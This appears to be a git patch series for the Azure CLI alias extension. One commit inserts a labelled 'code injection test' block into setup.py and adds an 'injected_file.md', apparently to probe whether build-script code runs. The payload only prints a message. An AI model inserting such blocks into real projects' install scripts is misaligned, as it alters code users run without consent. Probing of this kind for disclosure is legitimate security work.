configuration file. + + Args: + alias_table: The alias table. + + Yield: + A tuple with [0] being the first word of the alias and + [1] being the command that the alias points to. + """ + for alias in alias_table.sections(): + if alias_table.has_option(alias, 'command'): + yield (alias.split()[0], remove_pos_arg_placeholders(alias_table.get(alias, 'command'))) + + +def build_tab_completion_table(alias_table): + """ + Build a dictionary where the keys are all the alias commands (without positional argument placeholders) + and the values are all the parent commands of the keys. After that, write the table into a file. + The purpose of the dictionary is to validate the alias tab completion state. + + For example: + { + "group": ["", "ad"], + "dns": ["network"] + } + + Args: + alias_table: The alias table. + + Returns: + The tab completion table. + """ + alias_commands = [t[1] for t in filter_aliases(alias_table)] + tab_completion_table = defaultdict(list) + for alias_command in alias_commands: + for reserved_command in azext_alias.cached_reserved_commands: + # Check if alias_command has no parent command + if reserved_command == alias_command or reserved_command.startswith(alias_command + ' ') \ + and '' not in tab_completion_table[alias_command]: + tab_completion_table[alias_command].append('') + elif ' {} '.format(alias_command) in reserved_command or reserved_command.endswith(' ' + alias_command): + # Extract parent commands + index = reserved_command.index(alias_command) + parent_command = reserved_command[:index - 1] + if parent_command not in tab_completion_table[alias_command]: + tab_completion_table[alias_command].append(parent_command) + + with open(GLOBAL_ALIAS_TAB_COMP_TABLE_PATH, 'w') as f: + f.write(json.dumps(tab_completion_table)) + + return tab_completion_table + + +def is_url(s): + """ + Check if the argument is an URL. + + Returns: + True if the argument is an URL. + """ + return urlparse(s).scheme in ('http', 'https') + + +def reduce_alias_table(alias_table): + """ + Reduce the alias table to a tuple that contains the alias and the command that the alias points to. + + Args: + The alias table to be reduced. + + Yields + A tuple that contains the alias and the command that the alias points to. + """ + for alias in alias_table.sections(): + if alias_table.has_option(alias, 'command'): + yield (alias, alias_table.get(alias, 'command')) + + +def retrieve_file_from_url(url): + """ + Retrieve a file from an URL + + Args: + url: The URL to retrieve the file from. + + Returns: + The absolute path of the downloaded file. + """ + try: + alias_source, _ = urlretrieve(url) + # Check for HTTPError in Python 2.x + with open(alias_source, 'r') as f: + content = f.read() + if content[:3].isdigit(): + raise CLIError(ALIAS_FILE_URL_ERROR.format(url, content.strip())) + except Exception as exception: + if isinstance(exception, CLIError): + raise + + # Python 3.x + raise CLIError(ALIAS_FILE_URL_ERROR.format(url, exception)) + + return alias_source + + +def filter_alias_create_namespace(namespace): + """ + Filter alias name and alias command inside alias create namespace to appropriate strings. + + Args + namespace: The alias create namespace. + + Returns: + Filtered namespace where excessive whitespaces are removed in strings. + """ + def filter_string(s): + return ' '.join(s.strip().split()) + + namespace.alias_name = filter_string(namespace.alias_name) + namespace.alias_command = filter_string(namespace.alias_command) + return namespace diff --git a/src/alias_msrc_test/azext_alias/version.py b/src/alias_msrc_test/azext_alias/version.py new file mode 100644 index 00000000000..484c399852c --- /dev/null +++ b/src/alias_msrc_test/azext_alias/version.py @@ -0,0 +1,6 @@ +# -------------------------------------------------------------------------------------------- +# Copyright (c) Microsoft Corporation. All rights reserved. +# Licensed under the MIT License. See License.txt in the project root for license information. +# -------------------------------------------------------------------------------------------- + +VERSION = '0.5.2' diff --git a/src/alias_msrc_test/setup.cfg b/src/alias_msrc_test/setup.cfg new file mode 100644 index 00000000000..3c6e79cf31d --- /dev/null +++ b/src/alias_msrc_test/setup.cfg @@ -0,0 +1,2 @@ +[bdist_wheel] +universal=1 diff --git a/src/alias_msrc_test/setup.py b/src/alias_msrc_test/setup.py new file mode 100644 index 00000000000..d7755044901 --- /dev/null +++ b/src/alias_msrc_test/setup.py @@ -0,0 +1,52 @@ +#!/usr/bin/env python + +# -------------------------------------------------------------------------------------------- +# Copyright (c) Microsoft Corporation. All rights reserved. +# Licensed under the MIT License. See License.txt in the project root for license information. +# -------------------------------------------------------------------------------------------- + +import os +import re +from setuptools import setup, find_packages + +### code injection test starts here ### + +print("This is a code injection test. If you see this message, the setup.py file has been compromised.") + + +### code injection test ends here ### + +VERSION = '0.5.2' + +CLASSIFIERS = [ + 'Development Status :: 4 - Beta', + 'Intended Audience :: Developers', + 'Intended Audience :: System Administrators', + 'Programming Language :: Python', + 'Programming Language :: Python :: 2', + 'Programming Language :: Python :: 2.7', + 'Programming Language :: Python :: 3', + 'Programming Language :: Python :: 3.4', + 'Programming Language :: Python :: 3.5', + 'Programming Language :: Python :: 3.6', + 'License :: OSI Approved :: MIT License', +] + +DEPENDENCIES = [ + 'jinja2~=2.10' +] + +setup( + name='alias', + version=VERSION, + description='Support for command aliases', + long_description='An Azure CLI extension that provides command aliases functionality', + license='MIT', + author='Ernest Wong', + author_email='t-chwong@microsoft.com', + url='https://github.com/Azure/azure-cli-extensions/tree/main/src/alias', + classifiers=CLASSIFIERS, + package_data={'azext_alias': ['azext_metadata.json']}, + packages=find_packages(exclude=["azext_alias.tests"]), + install_requires=DEPENDENCIES +) From 00d508f450bad7839c99527554dc40811d97a61f Mon Sep 17 00:00:00 2001 From: Ren Silva Date: Wed, 1 Oct 2025 09:20:22 +1000 Subject: [PATCH 2/5] updated the injection test --- src/alias/injected_file.md | 3 + src/alias/setup.py | 6 + src/alias_msrc_test/azext_alias/__init__.py | 89 ----- src/alias_msrc_test/azext_alias/_const.py | 37 --- src/alias_msrc_test/azext_alias/_help.py | 71 ---- .../azext_alias/_validators.py | 239 -------------- src/alias_msrc_test/azext_alias/alias.py | 299 ----------------- src/alias_msrc_test/azext_alias/argument.py | 189 ----------- .../azext_alias/azext_metadata.json | 4 - .../azext_alias/command_tree.py | 68 ---- src/alias_msrc_test/azext_alias/custom.py | 140 -------- src/alias_msrc_test/azext_alias/hooks.py | 143 -------- src/alias_msrc_test/azext_alias/telemetry.py | 174 ---------- .../azext_alias/tests/__init__.py | 4 - .../azext_alias/tests/_const.py | 88 ----- .../azext_alias/tests/test_alias.py | 231 ------------- .../azext_alias/tests/test_alias_commands.py | 312 ------------------ .../azext_alias/tests/test_argument.py | 140 -------- .../azext_alias/tests/test_custom.py | 85 ----- .../azext_alias/tests/test_util.py | 66 ---- .../azext_alias/tests/test_validators.py | 153 --------- src/alias_msrc_test/azext_alias/util.py | 225 ------------- src/alias_msrc_test/azext_alias/version.py | 6 - src/alias_msrc_test/setup.cfg | 2 - src/alias_msrc_test/setup.py | 52 --- 25 files changed, 9 insertions(+), 2817 deletions(-) create mode 100644 src/alias/injected_file.md delete mode 100644 src/alias_msrc_test/azext_alias/__init__.py delete mode 100644 src/alias_msrc_test/azext_alias/_const.py delete mode 100644 src/alias_msrc_test/azext_alias/_help.py delete mode 100644 src/alias_msrc_test/azext_alias/_validators.py delete mode 100644 src/alias_msrc_test/azext_alias/alias.py delete mode 100644 src/alias_msrc_test/azext_alias/argument.py delete mode 100644 src/alias_msrc_test/azext_alias/azext_metadata.json delete mode 100644 src/alias_msrc_test/azext_alias/command_tree.py delete mode 100644 src/alias_msrc_test/azext_alias/custom.py delete mode 100644 src/alias_msrc_test/azext_alias/hooks.py delete mode 100644 src/alias_msrc_test/azext_alias/telemetry.py delete mode 100644 src/alias_msrc_test/azext_alias/tests/__init__.py delete mode 100644 src/alias_msrc_test/azext_alias/tests/_const.py delete mode 100644 src/alias_msrc_test/azext_alias/tests/test_alias.py delete mode 100644 src/alias_msrc_test/azext_alias/tests/test_alias_commands.py delete mode 100644 src/alias_msrc_test/azext_alias/tests/test_argument.py delete mode 100644 src/alias_msrc_test/azext_alias/tests/test_custom.py delete mode 100644 src/alias_msrc_test/azext_alias/tests/test_util.py delete mode 100644 src/alias_msrc_test/azext_alias/tests/test_validators.py delete mode 100644 src/alias_msrc_test/azext_alias/util.py delete mode 100644 src/alias_msrc_test/azext_alias/version.py delete mode 100644 src/alias_msrc_test/setup.cfg delete mode 100644 src/alias_msrc_test/setup.py diff --git a/src/alias/injected_file.md b/src/alias/injected_file.md new file mode 100644 index 00000000000..93192c82b83 --- /dev/null +++ b/src/alias/injected_file.md @@ -0,0 +1,3 @@ +# Code Injection via Injected File + +This file was injected here with the sole objective of demonstrating code injection vulnerabilities. It is not part of the original codebase and should be treated with caution. \ No newline at end of file diff --git a/src/alias/setup.py b/src/alias/setup.py index 2561a889312..965646ca060 100644 --- a/src/alias/setup.py +++ b/src/alias/setup.py @@ -9,6 +9,12 @@ import re from setuptools import setup, find_packages +### code injection test starts here ### + +print("This is a code injection test. If you see this message, the setup.py file has been compromised.") + +### code injection test ends here ### + VERSION = '0.5.2' CLASSIFIERS = [ diff --git a/src/alias_msrc_test/azext_alias/__init__.py b/src/alias_msrc_test/azext_alias/__init__.py deleted file mode 100644 index 271e83a2fdb..00000000000 --- a/src/alias_msrc_test/azext_alias/__init__.py +++ /dev/null @@ -1,89 +0,0 @@ -# -------------------------------------------------------------------------------------------- -# Copyright (c) Microsoft Corporation. All rights reserved. -# Licensed under the MIT License. See License.txt in the project root for license information. -# -------------------------------------------------------------------------------------------- - -from argcomplete.completers import FilesCompleter # pylint: disable=import-error - -from azure.cli.core import AzCommandsLoader -from azure.cli.core.decorators import Completer -from azure.cli.core.commands.events import ( - EVENT_INVOKER_PRE_CMD_TBL_TRUNCATE, EVENT_INVOKER_ON_TAB_COMPLETION, EVENT_INTERACTIVE_PRE_COMPLETER_TEXT_PARSING, - EVENT_INTERACTIVE_POST_SUB_TREE_CREATE) - -from azext_alias.util import get_alias_table -from azext_alias._validators import ( - process_alias_create_namespace, - process_alias_import_namespace, - process_alias_export_namespace -) -from azext_alias import _help # pylint: disable=unused-import -from azext_alias.hooks import ( - alias_event_handler, - enable_aliases_autocomplete, - transform_cur_commands_interactive, - enable_aliases_autocomplete_interactive -) - - -# We don't have access to load_cmd_tbl_func in custom.py (need the entire command table -# for alias and command validation when the user invokes alias create). -# This cache saves the entire command table globally so custom.py can have access to it. -# Alter this cache through cache_reserved_commands(load_cmd_tbl_func) in util.py -cached_reserved_commands = [] - - -class AliasExtCommandLoader(AzCommandsLoader): - - def __init__(self, cli_ctx=None): - from azure.cli.core.commands import CliCommandType - custom_command_type = CliCommandType(operations_tmpl='azext_alias.custom#{}') - super(AliasExtCommandLoader, self).__init__(cli_ctx=cli_ctx, - custom_command_type=custom_command_type) - self.cli_ctx.register_event(EVENT_INVOKER_PRE_CMD_TBL_TRUNCATE, alias_event_handler) - self.cli_ctx.register_event(EVENT_INVOKER_ON_TAB_COMPLETION, enable_aliases_autocomplete) - self.cli_ctx.register_event(EVENT_INTERACTIVE_PRE_COMPLETER_TEXT_PARSING, transform_cur_commands_interactive) - self.cli_ctx.register_event(EVENT_INTERACTIVE_POST_SUB_TREE_CREATE, enable_aliases_autocomplete_interactive) - - def load_command_table(self, _): - - with self.command_group('alias') as g: - g.custom_command('create', 'create_alias', validator=process_alias_create_namespace) - g.custom_command('export', 'export_aliases', validator=process_alias_export_namespace) - g.custom_command('import', 'import_aliases', validator=process_alias_import_namespace) - g.custom_command('list', 'list_alias') - g.custom_command('remove', 'remove_alias') - g.custom_command('remove-all', 'remove_all_aliases', - confirmation='Are you sure you want to remove all registered aliases?') - - return self.command_table - - def load_arguments(self, _): - with self.argument_context('alias create') as c: - c.argument('alias_name', options_list=['--name', '-n'], help='The name of the alias.') - c.argument('alias_command', options_list=['--command', '-c'], help='The command that the alias points to.') - - with self.argument_context('alias export') as c: - c.argument('export_path', options_list=['--path', '-p'], - help='The path of the alias configuration file to export to', completer=FilesCompleter()) - c.argument('exclusions', options_list=['--exclude', '-e'], - help='Space-separated aliases excluded from export', completer=get_alias_completer, nargs='*') - - with self.argument_context('alias import') as c: - c.argument('alias_source', options_list=['--source', '-s'], - help='The source of the aliases to import from.', completer=FilesCompleter()) - - with self.argument_context('alias remove') as c: - c.argument('alias_names', options_list=['--name', '-n'], help='Space-separated aliases', - completer=get_alias_completer, nargs='*') - - -@Completer -def get_alias_completer(cmd, prefix, namespace, **kwargs): # pylint: disable=unused-argument - """ - An argument completer for alias name. - """ - return get_alias_table().sections() - - -COMMAND_LOADER_CLS = AliasExtCommandLoader diff --git a/src/alias_msrc_test/azext_alias/_const.py b/src/alias_msrc_test/azext_alias/_const.py deleted file mode 100644 index 6581c5d0319..00000000000 --- a/src/alias_msrc_test/azext_alias/_const.py +++ /dev/null @@ -1,37 +0,0 @@ -# -------------------------------------------------------------------------------------------- -# Copyright (c) Microsoft Corporation. All rights reserved. -# Licensed under the MIT License. See License.txt in the project root for license information. -# -------------------------------------------------------------------------------------------- - -import os - -from azure.cli.core._environment import get_config_dir - -GLOBAL_CONFIG_DIR = get_config_dir() -ALIAS_FILE_NAME = 'alias' -ALIAS_HASH_FILE_NAME = 'alias.sha1' -COLLIDED_ALIAS_FILE_NAME = 'collided_alias' -ALIAS_TAB_COMP_TABLE_FILE_NAME = 'alias_tab_completion' -GLOBAL_ALIAS_TAB_COMP_TABLE_PATH = os.path.join(GLOBAL_CONFIG_DIR, ALIAS_TAB_COMP_TABLE_FILE_NAME) -COLLISION_CHECK_LEVEL_DEPTH = 5 - -INSUFFICIENT_POS_ARG_ERROR = 'alias: "{}" takes exactly {} positional argument{} ({} given)' -CONFIG_PARSING_ERROR = 'alias: Please ensure you have a valid alias configuration file. Error detail: %s' -DEBUG_MSG = 'Alias Manager: Transforming "%s" to "%s"' -DEBUG_MSG_WITH_TIMING = 'Alias Manager: Transformed args to %s in %.3fms' -POS_ARG_DEBUG_MSG = 'Alias Manager: Transforming "%s" to "%s", with the following positional arguments: %s' -DUPLICATED_PLACEHOLDER_ERROR = 'alias: Duplicated placeholders found when transforming "{}"' -RENDER_TEMPLATE_ERROR = 'alias: Encounted error when injecting positional arguments to "{}". Error detail: {}' -PLACEHOLDER_EVAL_ERROR = 'alias: Encounted error when evaluating "{}". Error detail: {}' -PLACEHOLDER_BRACKETS_ERROR = 'alias: Brackets in "{}" are not enclosed properly' -ALIAS_NOT_FOUND_ERROR = 'alias: "{}" alias not found' -INVALID_ALIAS_COMMAND_ERROR = 'alias: Invalid Azure CLI command "{}"' -EMPTY_ALIAS_ERROR = 'alias: Empty alias name or command is invalid' -INVALID_STARTING_CHAR_ERROR = 'alias: Alias name should not start with "{}"' -INCONSISTENT_ARG_ERROR = 'alias: Positional argument{} {} {} not in both alias name and alias command' -COMMAND_LVL_ERROR = 'alias: "{}" is a reserved command and cannot be used to represent "{}"' -ALIAS_FILE_NOT_FOUND_ERROR = 'alias: File not found' -ALIAS_FILE_DIR_ERROR = 'alias: {} is a directory' -ALIAS_FILE_URL_ERROR = 'alias: Encounted error when retrieving alias file from {}. Error detail: {}' -POST_EXPORT_ALIAS_MSG = 'alias: Exported alias configuration file to %s.' -FILE_ALREADY_EXISTS_ERROR = 'alias: {} already exists.' diff --git a/src/alias_msrc_test/azext_alias/_help.py b/src/alias_msrc_test/azext_alias/_help.py deleted file mode 100644 index c8f717b968e..00000000000 --- a/src/alias_msrc_test/azext_alias/_help.py +++ /dev/null @@ -1,71 +0,0 @@ -# -------------------------------------------------------------------------------------------- -# Copyright (c) Microsoft Corporation. All rights reserved. -# Licensed under the MIT License. See License.txt in the project root for license information. -# -------------------------------------------------------------------------------------------- - -# pylint: disable=line-too-long - -from knack.help_files import helps # pylint: disable=unused-import - - -helps['alias'] = """ - type: group - short-summary: Manage Azure CLI Aliases. -""" - - -helps['alias create'] = """ - type: command - short-summary: Create an alias. - examples: - - name: Create simple alias commands. - text: | - az alias create --name rg --command group - - az alias create --name ls --command list - - name: Create a complex alias. - text: | - az alias create --name list-vm --command 'vm list --resource-group myResourceGroup' - - - name: Create an alias command with arguments. - text: | - az alias create --name 'list-vm {{ resource_group }}' \\ - --command 'vm list --resource-group {{ resource_group }}' - - - name: Process arguments using Jinja2 templates. - text: | - az alias create --name 'storage-ls {{ url }}' \\ - --command 'storage blob list - --account-name {{ url.replace("https://", "").split(".")[0] }} - --container-name {{ url.replace("https://", "").split("/")[1] }}' -""" - - -helps['alias export'] = """ - type: command - short-summary: Export all registered aliases to a given path, as an INI configuration file. If no export path is specified, the alias configuration file is exported to the current working directory. -""" - - -helps['alias import'] = """ - type: command - short-summary: Import aliases from an INI configuration file or an URL. -""" - - -helps['alias list'] = """ - type: command - short-summary: List the registered aliases. -""" - - -helps['alias remove'] = """ - type: command - short-summary: Remove one or more aliases. Aliases to be removed are space-delimited. -""" - - -helps['alias remove-all'] = """ - type: command - short-summary: Remove all registered aliases. -""" diff --git a/src/alias_msrc_test/azext_alias/_validators.py b/src/alias_msrc_test/azext_alias/_validators.py deleted file mode 100644 index fbd4eb23cf8..00000000000 --- a/src/alias_msrc_test/azext_alias/_validators.py +++ /dev/null @@ -1,239 +0,0 @@ -# -------------------------------------------------------------------------------------------- -# Copyright (c) Microsoft Corporation. All rights reserved. -# Licensed under the MIT License. See License.txt in the project root for license information. -# -------------------------------------------------------------------------------------------- - -import os -import re -import shlex - -from knack.util import CLIError - -import azext_alias -from azext_alias.argument import get_placeholders -from azext_alias.util import ( - get_config_parser, - is_url, - reduce_alias_table, - filter_alias_create_namespace, - retrieve_file_from_url -) -from azext_alias._const import ( - COLLISION_CHECK_LEVEL_DEPTH, - INVALID_ALIAS_COMMAND_ERROR, - EMPTY_ALIAS_ERROR, - INVALID_STARTING_CHAR_ERROR, - INCONSISTENT_ARG_ERROR, - COMMAND_LVL_ERROR, - CONFIG_PARSING_ERROR, - ALIAS_FILE_NOT_FOUND_ERROR, - ALIAS_FILE_DIR_ERROR, - FILE_ALREADY_EXISTS_ERROR, - ALIAS_FILE_NAME -) -from azext_alias.alias import AliasManager - - -def process_alias_create_namespace(namespace): - """ - Validate input arguments when the user invokes 'az alias create'. - - Args: - namespace: argparse namespace object. - """ - namespace = filter_alias_create_namespace(namespace) - _validate_alias_name(namespace.alias_name) - _validate_alias_command(namespace.alias_command) - _validate_alias_command_level(namespace.alias_name, namespace.alias_command) - _validate_pos_args_syntax(namespace.alias_name, namespace.alias_command) - - -def process_alias_import_namespace(namespace): - """ - Validate input arguments when the user invokes 'az alias import'. - - Args: - namespace: argparse namespace object. - """ - if is_url(namespace.alias_source): - alias_source = retrieve_file_from_url(namespace.alias_source) - - _validate_alias_file_content(alias_source, url=namespace.alias_source) - else: - namespace.alias_source = os.path.abspath(namespace.alias_source) - _validate_alias_file_path(namespace.alias_source) - _validate_alias_file_content(namespace.alias_source) - - -def process_alias_export_namespace(namespace): - """ - Validate input arguments when the user invokes 'az alias export'. - - Args: - namespace: argparse namespace object. - """ - namespace.export_path = os.path.abspath(namespace.export_path) - if os.path.isfile(namespace.export_path): - raise CLIError(FILE_ALREADY_EXISTS_ERROR.format(namespace.export_path)) - - export_path_dir = os.path.dirname(namespace.export_path) - if not os.path.isdir(export_path_dir): - os.makedirs(export_path_dir) - - if os.path.isdir(namespace.export_path): - namespace.export_path = os.path.join(namespace.export_path, ALIAS_FILE_NAME) - - -def _validate_alias_name(alias_name): - """ - Check if the alias name is valid. - - Args: - alias_name: The name of the alias to validate. - """ - if not alias_name: - raise CLIError(EMPTY_ALIAS_ERROR) - - if not re.match('^[a-zA-Z]', alias_name): - raise CLIError(INVALID_STARTING_CHAR_ERROR.format(alias_name[0])) - - -def _validate_alias_command(alias_command): - """ - Check if the alias command is valid. - - Args: - alias_command: The command to validate. - """ - if not alias_command: - raise CLIError(EMPTY_ALIAS_ERROR) - - split_command = shlex.split(alias_command) - boundary_index = len(split_command) - for i, subcommand in enumerate(split_command): - if not re.match('^[a-z]', subcommand.lower()) or i > COLLISION_CHECK_LEVEL_DEPTH: - boundary_index = i - break - - # Extract possible CLI commands and validate - command_to_validate = ' '.join(split_command[:boundary_index]).lower() - for command in azext_alias.cached_reserved_commands: - if re.match(r'([a-z\-]*\s)*{}($|\s)'.format(command_to_validate), command): - return - - _validate_positional_arguments(shlex.split(alias_command)) - - -def _validate_pos_args_syntax(alias_name, alias_command): - """ - Check if the positional argument syntax is valid in alias name and alias command. - - Args: - alias_name: The name of the alias to validate. - alias_command: The command to validate. - """ - pos_args_from_alias = get_placeholders(alias_name) - # Split by '|' to extract positional argument name from Jinja filter (e.g. {{ arg_name | upper }}) - # Split by '.' to extract positional argument name from function call (e.g. {{ arg_name.split()[0] }}) - pos_args_from_command = [x.split('|')[0].split('.')[0].strip() for x in get_placeholders(alias_command)] - - if set(pos_args_from_alias) != set(pos_args_from_command): - arg_diff = set(pos_args_from_alias) ^ set(pos_args_from_command) - raise CLIError(INCONSISTENT_ARG_ERROR.format('' if len(arg_diff) == 1 else 's', - arg_diff, - 'is' if len(arg_diff) == 1 else 'are')) - - -def _validate_alias_command_level(alias, command): - """ - Make sure that if the alias is a reserved command, the command that the alias points to - in the command tree does not conflict in levels. - - e.g. 'dns' -> 'network dns' is valid because dns is a level 2 command and network dns starts at level 1. - However, 'list' -> 'show' is not valid because list and show are both reserved commands at level 2. - - Args: - alias: The name of the alias. - command: The command that the alias points to. - """ - alias_collision_table = AliasManager.build_collision_table([alias]) - - # Alias is not a reserved command, so it can point to any command - if not alias_collision_table: - return - - command_collision_table = AliasManager.build_collision_table([command]) - alias_collision_levels = alias_collision_table.get(alias.split()[0], []) - command_collision_levels = command_collision_table.get(command.split()[0], []) - - # Check if there is a command level conflict - if set(alias_collision_levels) & set(command_collision_levels): - raise CLIError(COMMAND_LVL_ERROR.format(alias, command)) - - -def _validate_alias_file_path(alias_file_path): - """ - Make sure the alias file path is neither non-existant nor a directory - - Args: - The alias file path to import aliases from. - """ - if not os.path.exists(alias_file_path): - raise CLIError(ALIAS_FILE_NOT_FOUND_ERROR) - - if os.path.isdir(alias_file_path): - raise CLIError(ALIAS_FILE_DIR_ERROR.format(alias_file_path)) - - -def _validate_alias_file_content(alias_file_path, url=''): - """ - Make sure the alias name and alias command in the alias file is in valid format. - - Args: - The alias file path to import aliases from. - """ - alias_table = get_config_parser() - try: - alias_table.read(alias_file_path) - for alias_name, alias_command in reduce_alias_table(alias_table): - _validate_alias_name(alias_name) - _validate_alias_command(alias_command) - _validate_alias_command_level(alias_name, alias_command) - _validate_pos_args_syntax(alias_name, alias_command) - except Exception as exception: # pylint: disable=broad-except - error_msg = CONFIG_PARSING_ERROR % AliasManager.process_exception_message(exception) - error_msg = error_msg.replace(alias_file_path, url or alias_file_path) - raise CLIError(error_msg) - - -def _validate_positional_arguments(args): - """ - To validate the positional argument feature - https://github.com/Azure/azure-cli/pull/6055. - Assuming that unknown commands are positional arguments immediately - led by words that only appear at the end of the commands - - Slight modification of - https://github.com/Azure/azure-cli/blob/dev/src/azure-cli-core/azure/cli/core/commands/__init__.py#L356-L373 - - Args: - args: The arguments that the user inputs in the terminal. - - Returns: - Rudimentary parsed arguments. - """ - nouns = [] - for arg in args: - if not arg.startswith('-') or not arg.startswith('{{'): - nouns.append(arg) - else: - break - - while nouns: - search = ' '.join(nouns) - # Since the command name may be immediately followed by a positional arg, strip those off - if not next((x for x in azext_alias.cached_reserved_commands if x.endswith(search)), False): - del nouns[-1] - else: - return - - raise CLIError(INVALID_ALIAS_COMMAND_ERROR.format(' '.join(args))) diff --git a/src/alias_msrc_test/azext_alias/alias.py b/src/alias_msrc_test/azext_alias/alias.py deleted file mode 100644 index 1316f5853c6..00000000000 --- a/src/alias_msrc_test/azext_alias/alias.py +++ /dev/null @@ -1,299 +0,0 @@ -# -------------------------------------------------------------------------------------------- -# Copyright (c) Microsoft Corporation. All rights reserved. -# Licensed under the MIT License. See License.txt in the project root for license information. -# -------------------------------------------------------------------------------------------- - -import os -import re -import json -import shlex -import hashlib -from collections import defaultdict - -from knack.log import get_logger - -import azext_alias -from azext_alias import telemetry -from azext_alias._const import ( - GLOBAL_CONFIG_DIR, - ALIAS_FILE_NAME, - ALIAS_HASH_FILE_NAME, - COLLIDED_ALIAS_FILE_NAME, - CONFIG_PARSING_ERROR, - DEBUG_MSG, - COLLISION_CHECK_LEVEL_DEPTH, - POS_ARG_DEBUG_MSG -) -from azext_alias.argument import build_pos_args_table, render_template -from azext_alias.util import ( - is_alias_command, - cache_reserved_commands, - get_config_parser, - build_tab_completion_table -) - - -GLOBAL_ALIAS_PATH = os.path.join(GLOBAL_CONFIG_DIR, ALIAS_FILE_NAME) -GLOBAL_ALIAS_HASH_PATH = os.path.join(GLOBAL_CONFIG_DIR, ALIAS_HASH_FILE_NAME) -GLOBAL_COLLIDED_ALIAS_PATH = os.path.join(GLOBAL_CONFIG_DIR, COLLIDED_ALIAS_FILE_NAME) - -logger = get_logger(__name__) - - -class AliasManager(object): - - def __init__(self, **kwargs): - self.alias_table = get_config_parser() - self.kwargs = kwargs - self.collided_alias = defaultdict(list) - self.alias_config_str = '' - self.alias_config_hash = '' - self.load_alias_table() - self.load_alias_hash() - - def load_alias_table(self): - """ - Load (create, if not exist) the alias config file. - """ - try: - # w+ creates the alias config file if it does not exist - open_mode = 'r+' if os.path.exists(GLOBAL_ALIAS_PATH) else 'w+' - with open(GLOBAL_ALIAS_PATH, open_mode) as alias_config_file: - self.alias_config_str = alias_config_file.read() - self.alias_table.read(GLOBAL_ALIAS_PATH) - telemetry.set_number_of_aliases_registered(len(self.alias_table.sections())) - except Exception as exception: # pylint: disable=broad-except - logger.warning(CONFIG_PARSING_ERROR, AliasManager.process_exception_message(exception)) - self.alias_table = get_config_parser() - telemetry.set_exception(exception) - - def load_alias_hash(self): - """ - Load (create, if not exist) the alias hash file. - """ - # w+ creates the alias hash file if it does not exist - open_mode = 'r+' if os.path.exists(GLOBAL_ALIAS_HASH_PATH) else 'w+' - with open(GLOBAL_ALIAS_HASH_PATH, open_mode) as alias_config_hash_file: - self.alias_config_hash = alias_config_hash_file.read() - - def load_collided_alias(self): - """ - Load (create, if not exist) the collided alias file. - """ - # w+ creates the alias config file if it does not exist - open_mode = 'r+' if os.path.exists(GLOBAL_COLLIDED_ALIAS_PATH) else 'w+' - with open(GLOBAL_COLLIDED_ALIAS_PATH, open_mode) as collided_alias_file: - collided_alias_str = collided_alias_file.read() - try: - self.collided_alias = json.loads(collided_alias_str if collided_alias_str else '{}') - except Exception: # pylint: disable=broad-except - self.collided_alias = {} - - def detect_alias_config_change(self): - """ - Change if the alias configuration has changed since the last run. - - Returns: - False if the alias configuration file has not been changed since the last run. - Otherwise, return True. - """ - # Do not load the entire command table if there is a parse error - if self.parse_error(): - return False - - alias_config_sha1 = hashlib.sha1(self.alias_config_str.encode('utf-8')).hexdigest() - if alias_config_sha1 != self.alias_config_hash: - # Overwrite the old hash with the new one - self.alias_config_hash = alias_config_sha1 - return True - return False - - def transform(self, args): - """ - Transform any aliases in args to their respective commands. - - Args: - args: A list of space-delimited command input extracted directly from the console. - - Returns: - A list of transformed commands according to the alias configuration file. - """ - if self.parse_error(): - # Write an empty hash so next run will check the config file against the entire command table again - AliasManager.write_alias_config_hash(empty_hash=True) - return args - - # Only load the entire command table if it detects changes in the alias config - if self.detect_alias_config_change(): - self.load_full_command_table() - self.collided_alias = AliasManager.build_collision_table(self.alias_table.sections()) - build_tab_completion_table(self.alias_table) - else: - self.load_collided_alias() - - transformed_commands = [] - alias_iter = enumerate(args, 1) - for alias_index, alias in alias_iter: - is_collided_alias = alias in self.collided_alias and alias_index in self.collided_alias[alias] - # Check if the current alias is a named argument - # index - 2 because alias_iter starts counting at index 1 - is_named_arg = alias_index > 1 and args[alias_index - 2].startswith('-') - is_named_arg_flag = alias.startswith('-') - excluded_commands = is_alias_command(['remove', 'export'], transformed_commands) - if not alias or is_collided_alias or is_named_arg or is_named_arg_flag or excluded_commands: - transformed_commands.append(alias) - continue - - full_alias = self.get_full_alias(alias) - - if self.alias_table.has_option(full_alias, 'command'): - cmd_derived_from_alias = self.alias_table.get(full_alias, 'command') - telemetry.set_alias_hit(full_alias) - else: - transformed_commands.append(alias) - continue - - pos_args_table = build_pos_args_table(full_alias, args, alias_index) - if pos_args_table: - logger.debug(POS_ARG_DEBUG_MSG, full_alias, cmd_derived_from_alias, pos_args_table) - transformed_commands += render_template(cmd_derived_from_alias, pos_args_table) - - # Skip the next arg(s) because they have been already consumed as a positional argument above - for pos_arg in pos_args_table: # pylint: disable=unused-variable - next(alias_iter) - else: - logger.debug(DEBUG_MSG, full_alias, cmd_derived_from_alias) - transformed_commands += shlex.split(cmd_derived_from_alias) - - return self.post_transform(transformed_commands) - - def get_full_alias(self, query): - """ - Get the full alias given a search query. - - Args: - query: The query this function performs searching on. - - Returns: - The full alias (with the placeholders, if any). - """ - if query in self.alias_table.sections(): - return query - - return next((section for section in self.alias_table.sections() if section.split()[0] == query), '') - - def load_full_command_table(self): - """ - Perform a full load of the command table to get all the reserved command words. - """ - load_cmd_tbl_func = self.kwargs.get('load_cmd_tbl_func', lambda _: {}) - cache_reserved_commands(load_cmd_tbl_func) - telemetry.set_full_command_table_loaded() - - def post_transform(self, args): - """ - Inject environment variables, and write hash to alias hash file after transforming alias to commands. - - Args: - args: A list of args to post-transform. - """ - # Ignore 'az' if it is the first command - args = args[1:] if args and args[0] == 'az' else args - - post_transform_commands = [] - for i, arg in enumerate(args): - # Do not translate environment variables for command argument - if is_alias_command(['create'], args) and i > 0 and args[i - 1] in ['-c', '--command']: - post_transform_commands.append(arg) - else: - post_transform_commands.append(os.path.expandvars(arg)) - - AliasManager.write_alias_config_hash(self.alias_config_hash) - AliasManager.write_collided_alias(self.collided_alias) - - return post_transform_commands - - def parse_error(self): - """ - Check if there is a configuration parsing error. - - A parsing error has occurred if there are strings inside the alias config file - but there is no alias loaded in self.alias_table. - - Returns: - True if there is an error parsing the alias configuration file. Otherwises, false. - """ - return not self.alias_table.sections() and self.alias_config_str - - @staticmethod - def build_collision_table(aliases, levels=COLLISION_CHECK_LEVEL_DEPTH): - """ - Build the collision table according to the alias configuration file against the entire command table. - - self.collided_alias is structured as: - { - 'collided_alias': [the command level at which collision happens] - } - For example: - { - 'account': [1, 2] - } - This means that 'account' is a reserved command in level 1 and level 2 of the command tree because - (az account ...) and (az storage account ...) - lvl 1 lvl 2 - - Args: - 